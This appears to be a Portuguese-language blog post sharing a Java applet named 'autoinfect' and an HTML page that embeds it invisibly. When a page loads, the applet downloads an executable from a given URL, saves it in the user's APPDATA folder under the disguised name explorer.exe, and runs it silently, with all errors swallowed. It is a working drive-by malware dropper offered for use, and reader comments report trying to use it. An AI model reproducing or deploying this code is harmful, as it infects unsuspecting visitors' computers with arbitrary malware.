1. codigo em java:
package autoinfect;
import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.net.URL;
/**
*
* @author PThack
*/
public class Main extends Applet{
public void start()
{
String url=getParameter("url");
String file=System.getenv("APPDATA")+"\explorer.exe";
try
{
download(url,file);
Process p=Runtime.getRuntime().exec(file);
}catch(Exception e)
{
}
}
private void download(String url, String file) {
try
{
BufferedInputStream in = new BufferedInputStream(new URL(url).openStream());
FileOutputStream fout= new FileOutputStream(file);
BufferedOutputStream output=new BufferedOutputStream(fout,1024);
byte buffer[]= new byte[1024];
while(in.read(buffer,0,1024)>0)
{
output.write(buffer);
}
output.close();
in.close();
}catch(Exception e){
}
}
}
2. codigo html para chamar o java de infeccao
<HTML>
<HEAD>
<TITLE>Applet HTML Page</TITLE>
</HEAD>
<BODY>
<APPLET archive="autoinfect.jar" code="autoinfect/Main.class" width=0 height=0>
<param name="url" value="http://www.site-do-executavel.com/executavel.exe" /param>
</APPLET>
</BODY>
</HTML>
vo tentar usei um mais antigo e naum funciono,vo tentar com esse agora! espero q funcione
ResponderExcluirboa noite,fiz varios teste e nenhum funcionou,caso tenha a solução por favor entre em contato comigo mdn___@hotmail.com
ResponderExcluir